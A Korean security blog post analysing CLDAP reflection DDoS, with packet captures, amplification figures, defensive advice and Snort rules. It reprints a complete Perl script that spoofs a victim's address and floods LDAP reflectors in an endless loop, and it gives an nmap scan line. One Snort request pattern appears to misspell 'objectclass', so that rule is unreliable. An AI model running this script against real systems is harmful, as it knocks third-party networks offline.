CLDAP(Connection-less Lightweight Directory Access Protocol) DRDoS 분석

5 분 소요

CLDAP DRDoS 공격DNS 증폭공격 과 더불어망내에서 흔히 볼 수 있는.. 아주 클래식(?)한 DRDoS 공격이다. 본인의 기억으로 최초로 해당 공격을 대응해봤던 건 2017년 중순 가량이였다. 소스포트가 UDP 389인 처음보는 유형의 DRDoS여서 근무 중 당황했던 기억이 난다. 이후 외부의 분석보고서나 뉴스를 찾아보면 대략 50~70%의 증폭률을 보여준다고 하니 효율적인 공격벡터라 할 수 있겠다.

cldap_boan_article 새로운 디도스 공격의 통로, CLDAP의 놀라운 증폭률

친절하게도 RFC1798 이 공개되어 있으니 공격 패킷과 프로토콜 구조를 중점으로 분석해보기로 하자. (이전의 ARMS DDoS 분석과정에 비하면 매우 수월하다…)

LDAP vs CLDAP

CLDAP 이란 무슨 프로토콜일까? Full name을 살펴보면 Connection-less Lightweitght Directory Access Protocol의 약어인데, 일반적으로 알고 있는 LDAP 프로토콜의 경량 버전이라 보면 되겠다. 그렇다면 LDAP은 무엇인가..?

LDAP (위키백과)

경량 디렉터리 액세스 프로토콜(영어: Lightweight Directory Access Protocol; LDAP)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.

디렉터리는 논리, 계급 방식 속에서 조직화된, 비슷한 특성을 가진 객체들의 모임이다. 가장 일반적인 예로는 전화 번호부(telephone directory)가 있는데 가나다 순의 일련의 이름을 가지고 있고, 이름마다 전화 번호와 주소가 포함되어 있다. 이러한 기본 설계 때문에 LDAP는 인증을 위한 다른 서비스에 의해 자주 사용된다.

ldap_images

LDAP 프로토콜은 SSO(Single Sign On)이나 AD(Active Directory)에 사용된다. LDAP은 TCP 위에서 동작하기 때문에 어느 정도의 TCP 연결 자원을 소모하게 된다. 이를 개선하기 위해 IETF에서 1995년에 나온 것이 CLDAP이다.

CLDAPsearchRequest, searchResponse(searchResEntry, searchResDone), abandonRequest 3가지 기능만을 제공하여 UDP 위에서 동작하기 때문에 사용자 인증을 제공하지 않고 LDAP 서버 389 포트에 대한 작업 요청을 시작할 수 있다. 클라이언트가 searchRequest를 발생시킨 경우 서버는 searchResEntry와 searchResDone 두개의 응답메세지를 반환하고 일반적인 경우 이러한 작업은 작은 요청패킷으로도 큰 응답패킷을 주는 증폭효과를 주게 된다. 따라서 이러한 취약점을 DDoS 공격에 이용하는 것이다.

cldap_protocol_spec CLDAP Protocol 구조

현재 포스팅 작성 시간 기준(2019-12-26)으로 shodan에 오픈된 389 포트 검색 결과 국내에는 2,022개의 오픈된 LDAP 단말들이 나온다.

shodan_open_389 Shodan에 노출된 국내 LDAP 서버들

공격패킷 분석

실제 공격발생 시, 발생된 패킷들을 살펴보았다.

cldap_attack_packet CLDAP DRDoS 공격 Request패킷

앞서 적은 것처럼 searchRequest 패킷을 다수의 랜덤 IP로 뿌리는 것을 확인할 수 있었다. Request 패킷은 93 Bytes 로 간단한 프로토콜 구조로 보인다.

ldap_attack_response_packet CLDAP DRDoS 공격 Response 패킷

응답패킷의 경우는 Fregment된 형태로 오는 것을 확인할 수 있다. 취약점이 있는 서버는 rootDSE의 항목 및 항목 속성과 같은 모든 구성정보를 리턴하기 되므로 응답패킷의 사이즈가 매우 커짐을 알 수 있다. (위의 경우는 1514+1514+99 Bytes 로 3,127 Bytes이며 증폭률은 약 33배 정도로 보인다.)

rootDSE는 해당 AD 서버의 스키마 정도로 보면된다. 포함되는 항목에 대한 자세한 정의는 RootDSE (AD Schema) - Microsoft Docs를 참고하자.

실습

Exploit DB에는 취약한 LDAP서버를 테스트해보기 위한 Perl 스크립트를 공개해 놓았다. 전문은 아래와 같다.

#!/usr/bin/perl
#
#  MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon
#  (CLDAP "AD Ping") query reflection DoS PoC
#
#  Copyright 2016 (c) Todor Donev
#  Varna, Bulgaria
#  todor.donev@gmail.com
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  http://pastebin.com/u/hackerscommunity
#
#  MS Windows Server 2016       [NOT TESTED !!!]
#
#  Description:
#  The attacker  sends a simple query to a vulnerable reflector
#  supporting the Connectionless LDAP service (CLDAP) and using
#  address spoofing makes it appear to originate from the intended
#  victim. The CLDAP service responds to the spoofed address,
#  sending unwanted network traffic to the attacker’s intended target.
#
#  Amplification techniques allow bad actors to intensify the size
#  of their attacks, because the responses generated by the LDAP
#  servers are much larger than the attacker’s queries. In this case,
#  the LDAP service responses are capable of reaching very high
#  bandwidth and we have seen an average amplification factor of
#  46x and a peak of 55x.
#
#
#  Disclaimer:
#  This or previous program is for Educational purpose ONLY. Do not
#  use it without permission. The usual disclaimer applies, especially
#  the fact that Todor Donev is not liable for any damages caused by
#  direct or indirect use of the information or functionality provided
#  by these programs. The author or any Internet provider bears NO
#  responsibility for content or misuse of these programs or any
#  derivatives thereof. By using these programs you accept the fact
#  that any damage (dataloss, system crash, system compromise, etc.)
#  caused by the use of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational
#  purpose ONLY!
#
#  See also, UDP-based Amplification Attacks:
#  https://www.us-cert.gov/ncas/alerts/TA14-017A
#
#
#  # perl cldapdrdos.pl 192.168.1.112 192.168.1.146
#  [ MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon (CLDAP "AD Ping") query reflection DoS PoC
#  [ ======
#  [ Usg: cldapdrdos.pl <ldap server> <target> <port>
#  [ Default port: 389
#  [ Example: perl cldapdrdos.pl 192.168.30.56 192.168.1.1
#  [ ======
#  [ <todor.donev@gmail.com> Todor Donev
#  [ Facebook: https://www.facebook.com/ethicalhackerorg
#  [ Website: https://www.ethical-hacker.org/
#  [ Sending CLDAP "AD Ping" packets..
#  ^C
#  # tcpdump -i eth0 -c4 port 389
#  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
#  listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
#  00:00:58.638466 IP attacker.31337 > target.ldap: UDP, length 57
#  00:00:58.639360 IP target.ldap > attacker.31337: UDP, length 2315        ## LOOOL...
#  00:00:59.039293 IP attacker.31337 > target.ldap: UDP, length 57
#  00:00:59.041043 IP target.ldap > attacker.31337: UDP, length 2315        ## LOOOL...
#  4 packets captured
#  6 packets received by filter
#  0 packets dropped by kernel
#
#
#

use Net::RawIP;

print "[ MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon (CLDAP \"AD Ping\") query reflection DoS PoC\n";
print "[ ======\n";
print "[ Usg: $0 <ldap server> <target> <port>\n";
print "[ Default port: 389\n";
print "[ Example: perl $0 192.168.30.56 192.168.1.1\n";
print "[ ======\n";
print "[ <todor.donev\@gmail.com> Todor Donev\n";
print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n";
print "[ Website: https://www.ethical-hacker.org/\n";

my $cldap       = $ARGV[0];
my $target      = $ARGV[1];
my $port        = $ARGV[2] || '389';

die "[ Error: Port must be between 1 and 65535!\n"       if ($port < 1 || $port > 65535);

my $query  = "\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a";
$query    .= "\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01";
$query    .= "\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65";
$query    .= "\x63\x74\x63\x6c\x61\x73\x73\x30\x00\x00";
$query    .= "\x00\x30\x84\x00\x00\x00\x0a\x04\x08\x4e";
$query    .= "\x65\x74\x6c\x6f\x67\x6f\x6e";

my $sock =  new Net::RawIP({ udp => {} }) or die;
print "[ Sending CLDAP \"AD Ping\" packets..\n";
while () {
                select(undef, undef, undef, 0.40);         # Sleep 400 milliseconds
                $sock->set({  ip =>  { saddr  => $target, daddr => $cldap},
                             udp =>  { source => 31337,   dest  => $port, data => $query} });
                $sock->send;
}

혹은 간단히 Nmapldap-rootdse 스크립트를 이용해서도 해당 취약점에 대한 스캔을 진행해 볼 수 있다고 한다.

nmap -Pn -sSU 389,636 --script ldap-rootdse <target_ip>

필자는 nmap을 이용하여 취약한 서버에 대한 스캔을 해 보았다.

NTP Monlist 공격과 비슷하게 서버의 구성정보를 모두 리턴하는 것을 볼 수 있다.

공격 탐지/방어를 위한 Snort 정책

가장 중요한 것은 불필요한 포트를 외부에 오픈하지 않는 것이다. CLDAP의 경우 외부접근이 필요한 서비스로 보이지 않으므로 반드시 내부망에서만 사용하는것이 바람직 할 것이다. 아래는 공격을 유발하는 패킷(Request)의 패턴응답되어 오는 패킷(Response)의 패턴을 정리해보았다.

searchRequst_pattern CLDAP DRDoS Request 패킷 패턴(searchRequest)

searchResRentry_pattern CLDAP DRDoS Response 패킷 패턴(searchResEntry)

searchResDone_pattern CLDAP DRDoS Response 패킷 패턴(searchResDone)

1. CLDAP DRDoS Resquest 패킷 탐지/방어 (searchRequest)
alert udp any any -> any 389,636 (content:"|3025020101632004000a01000a0100020100020100010100870b6f726a656374636c61737330|")

2. CLDAP DRDoS Response 패킷 탐지/방어 (searchResEntry)
alert udp any 389,636 -> any any (content:"|648400000ba40400308400000b9c|";)

3. CLDAP DRDoS Response 패킷 탐지/방어 (searchResDone)
alert udp any 389,636 -> any any (content:"|3084000000100201016584000000070a010004000400|";)

Reference

댓글남기기